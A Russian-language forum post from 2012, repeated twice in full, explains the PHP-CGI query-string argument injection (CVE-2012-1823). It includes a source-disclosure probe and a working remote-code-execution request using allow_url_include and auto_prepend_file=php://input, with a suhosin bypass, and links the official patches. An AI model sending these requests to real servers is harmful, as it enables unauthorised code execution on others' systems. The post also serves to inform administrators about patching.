M@ZAX@KEP
06.05.2012, 01:00
Все интернеты гудят уже вторые сутки, а сюда так никто и не притащил, странно.
Уязвимость присутствует в PHP, работающих как cgi модуль (fastCGI не подвержен). Говорят ещё nginx+php-fpm уязвим... проверил у себя - не сработало. Хотя не обновлял и не патчил ничего.
Сабж: данные из запроса (после знака ?) достают до интерпретатора, посему можно передать атрибуты командой строки для php, среди которых вот:
code:
[mx@localhost ~]$ php --help
Usage: php [options] [-f] [--] [args...]
php [options] -r [--] [args...]
php [options] [-B ] -R [-E ] [--] [args...]
php [options] [-B ] -F [-E ] [--] [args...]
php [options] -- [args...]
php [options] -a
-a Run as interactive shell
-c | Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f Parse and execute .
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-r Run PHP without using script tags
-B Run PHP before processing input lines
-R Run PHP for every input line
-F Parse and execute for every input line
-E Run PHP after processing all input lines
-H Hide any passed arguments from external tools.
-s Output HTML syntax highlighted source.
-v Version number
-w Output source with stripped comments and whitespace.
-z Load Zend extension .
args... Arguments passed to script. Use -- args when first argument
starts with - or script is read from stdin
--ini Show configuration file names
--rf Show information about function .
--rc Show information about class .
--re Show information about extension .
--ri Show configuration for extension .
Для быстрой проверки на уязвимость используем запрос вида:
code:
http://target.com/index.php?-sn
-sn передаётся аргументом при запуске интерпретатора и даёт ему команду вывалить сурс файла как красиво оформленный html с подсветкой синтаксиса ^_^. То есть если ресурс уязвим, вы увидете исходник.
Аргумент n (игнорирования директив php.ini) используется для обезвреживания suhosin.
Если уж можно передать -sn, можно и исполнение произвольного кода на сервере получить. Отправляем POST запрос содержания:
code:
phpinfo();
на адрес (GET составляющая запроса):
code:
http://target.com/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
И получаем PoC. Также добавляем -n если обходим suhosin.
PHP выпустили патч (https://hpc.name/redirector.html#https://bugs.php.net/patch-display.php?bug_id=61910&patch=cgi.diff&revision=latest), но лоханулись. Не спасал. Выпустили патч на патч (https://hpc.name/redirector.html#https://bugs.php.net/patch-display.php?bug_id=61910&patch=cgi.diff&revision=latest), а потом ещё патч (https://hpc.name/redirector.html#https://bugs.php.net/patch-display.php?patch=CVE-2012-1823.patch&bug_id=61910&revision=1336251592). Но теперь те, кто ставил первый патч и кто не следит за новостями, думают, что галактеко безопасносте. Так что не все ещё прочесались и пофиксили данный баг. А для устранения уязвимости применить последний fix (https://hpc.name/redirector.html#https://bugs.php.net/patch-display.php?patch=CVE-2012-1823.patch&bug_id=61910&revision=1336251592).
Уязвимость присутствует в PHP, работающих как cgi модуль (fastCGI не подвержен). Говорят ещё nginx+php-fpm уязвим... проверил у себя - не сработало. Хотя не обновлял и не патчил ничего.
Сабж: данные из запроса (после знака ?) достают до интерпретатора, посему можно передать атрибуты командой строки для php, среди которых вот:
code:
[mx@localhost ~]$ php --help
Usage: php [options] [-f] [--] [args...]
php [options] -r [--] [args...]
php [options] [-B ] -R [-E ] [--] [args...]
php [options] [-B ] -F [-E ] [--] [args...]
php [options] -- [args...]
php [options] -a
-a Run as interactive shell
-c | Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f Parse and execute .
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-r Run PHP without using script tags
-B Run PHP before processing input lines
-R Run PHP for every input line
-F Parse and execute for every input line
-E Run PHP after processing all input lines
-H Hide any passed arguments from external tools.
-s Output HTML syntax highlighted source.
-v Version number
-w Output source with stripped comments and whitespace.
-z Load Zend extension .
args... Arguments passed to script. Use -- args when first argument
starts with - or script is read from stdin
--ini Show configuration file names
--rf Show information about function .
--rc Show information about class .
--re Show information about extension .
--ri Show configuration for extension .
Для быстрой проверки на уязвимость используем запрос вида:
code:
http://target.com/index.php?-sn
-sn передаётся аргументом при запуске интерпретатора и даёт ему команду вывалить сурс файла как красиво оформленный html с подсветкой синтаксиса ^_^. То есть если ресурс уязвим, вы увидете исходник.
Аргумент n (игнорирования директив php.ini) используется для обезвреживания suhosin.
Если уж можно передать -sn, можно и исполнение произвольного кода на сервере получить. Отправляем POST запрос содержания:
code:
phpinfo();
на адрес (GET составляющая запроса):
code:
http://target.com/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
И получаем PoC. Также добавляем -n если обходим suhosin.
PHP выпустили патч (https://hpc.name/redirector.html#https://bugs.php.net/patch-display.php?bug_id=61910&patch=cgi.diff&revision=latest), но лоханулись. Не спасал. Выпустили патч на патч (https://hpc.name/redirector.html#https://bugs.php.net/patch-display.php?bug_id=61910&patch=cgi.diff&revision=latest), а потом ещё патч (https://hpc.name/redirector.html#https://bugs.php.net/patch-display.php?patch=CVE-2012-1823.patch&bug_id=61910&revision=1336251592). Но теперь те, кто ставил первый патч и кто не следит за новостями, думают, что галактеко безопасносте. Так что не все ещё прочесались и пофиксили данный баг. А для устранения уязвимости применить последний fix (https://hpc.name/redirector.html#https://bugs.php.net/patch-display.php?patch=CVE-2012-1823.patch&bug_id=61910&revision=1336251592).